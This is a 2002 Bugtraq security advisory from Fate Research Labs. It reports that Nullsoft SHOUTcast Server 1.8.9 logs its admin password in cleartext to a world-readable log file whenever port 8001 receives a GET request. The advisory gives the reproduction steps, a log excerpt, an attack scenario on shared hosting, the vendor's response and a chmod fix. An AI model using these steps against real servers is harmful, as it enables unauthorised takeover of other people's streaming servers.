From loki@fatelabs.com Wed Aug 21 06:15:24 2002 From: Loki To: bugtraq@securityfocus.com Date: Tue, 6 Aug 2002 15:30:55 -0400 Subject: Fate Research Labs Advisory: Retrieve SHOUTcast Admin Password Through GET / ______________________________________________________________ Fate Research Laboratories Security Advisory Package: Nullsoft SHOUTcast Server v1.8.9 Vendor Web Site: http://www.shoutcast.com Versions: < = Latest (v1.8.9) Platforms: Windows, FreBSD, Linux, Mac, Solaris Advisory Title: DJ For a Day! Retrieving the SHOUTcast Admin Password through GET /. Advisory ID: F820020731:SHOUT Issue Date: Thu Aug 1 11:24:12 EDT 2002 File(s): sc_serv.log, sc_serv Local: Yes Remote: No Fix Available: No Vendor Contacted: Yes (08/03/2002) Researcher: Alan "ph33r" Neville Fate Web Site: http://www.fatelabs.com _______________________________________________________________ 1. Overview There exists a flaw in the logging function for SHOUTcast, whereupon a GET request sent to port 8001 of the SHOUTcast server triggers the administrative password to be logged to a world readable logfile (sc_serv.log) located in the SHOUTcast directory. This attack requires a local user account to the machine. This attack is especially damaging to shared user environments such as web hosting companies that allow shell access to their users to a machine hosting the SHOUTcast server. 2. Exploit Point a web browser at the SHOUTcast server port of (:8001) http://192.168.0.1:8001 Other methods reproduced this exploit such as telnet and winamp directly with a simple GET request. Any TCP connection made to this port will fill the debug screen and log File with the cleartext password of the admin account. ----------------- debug log file ---------------------------- -rw-r--r-- 1 ph33r ph33r 2364 Aug 2 03:20 sc_serv.log bash-2.05a$ tail -50 sc_serv.log <08/02/02@03:20:01> [SHOUTcast] DNAS/FreeBSD4 v1.8.9 (Mar 29 2002) starting up... <08/02/02@03:20:01> [main] pid: 69400 <08/02/02@03:20:01> [main] loaded config from sc_serv.conf <08/02/02@03:20:01> [main] initializing (usermax:32 portbase:8000)... <08/02/02@03:20:01> [main] No ban file found (sc_serv.ban) <08/02/02@03:20:01> [main] No rip file found (sc_serv.rip) <08/02/02@03:20:01> [main] opening source socket <08/02/02@03:20:01> [main] source thread starting <08/02/02@03:20:02> [main] opening client socket <08/02/02@03:20:02> [main] Client Stream thread [0] starting <08/02/02@03:20:02> [main] client main thread starting <08/02/02@03:20:02> [source] listening for connection on port 8001 <08/02/02@03:20:13> [source] invalid password from GET favicon.ico HTTP/1.1 changeme 192.168.0.2 <08/02/02@03:20:17> [source] invalid password from GET / HTTP/1.1 changeme 192.168.0.2 <08/02/02@03:20:17> [source] invalid password from GET / HTTP/1.1 changeme 192.168.0.2 <08/02/02@03:20:17> [source] invalid password from GET / HTTP/1.1 changeme 192.168.0.2 <08/02/02@03:20:23> [source] invalid password from GET / HTTP/1.1 changeme 192.168.0.2 <08/02/02@03:20:24> [source] invalid password from GET / HTTP/1.1 changeme 192.168.0.2 <08/02/02@03:20:25> [source] invalid password from GET / HTTP/1.1 changeme 192.168.0.2 <08/02/02@03:20:26> [source] invalid password from GET / HTTP/1.1 changeme 192.168.0.2 /* changeme is the default password shipped with the SHOUTcast Server as seen above */ ----------------- debug log file ---------------------------- 3. Impact The impact of this vulnerability can obviously be quite damaging. Lets take for instance that a malicious user decides to open up some "trial" web hosting accounts on several ISPs that he has identified as offering a SHOUTcast service from their machine. The user then opens up his free 30-day trial account and aims several GET requests to port 8001 of the machine where the SHOUTcast server is listening. The user than logs into the machine and locates the location of the SHOUTcast log file (sc_serv.log) using the locate or find command. Now, what makes this vulnreability possible is that SHOUTcast makes no warnings in their documentation that the log file by default is world readable. This obviously means that any user on the system can actually tail or cat the log file for the admin password. Repercussions obviously being complete administrative control of the SHOUTcast server. 4. Vendor Response Nullsoft was contacted on 08/03/2002 whereupon Fate Labs pasted this Advisory to an email, while providing additional details on the Problem. Tom Pepper responded with quite dissidence. A statement from his email reads: "I fail to see how this constitutes a "critical problem". Well, unfortunately Nullsoft doesn't see this as an issue. Even going as far to say that the clear-text password being logged to the logfile was An "oft-request" made by SHOUTcast users. After debating the points made by Nullsoft in a followup email, no further responses were received. However, much to the credit of Nullsoft, a recommendation was made to enforce strict umodes on the SHOUTcast binary. It was their belief that if appropriate user access was used to start the Sc_serv binary, this wouldn't be an issue. We found this to be false. Following the instructions of the README file as well as starting the binary with a non-privileged user, we were in fact still able to reproduce the problem. 5. Solution Until Nullsoft considers this to be an issue, we recommend the SHOUTcast admin ensures appropriate permissions on the logfile with a simple chmod 750. (chmod 750 sc_serv.log) (c) Copyright 1997-2002 Fate Research Labs. All Copyrights Reserved. Web: http://www.fatelabs.com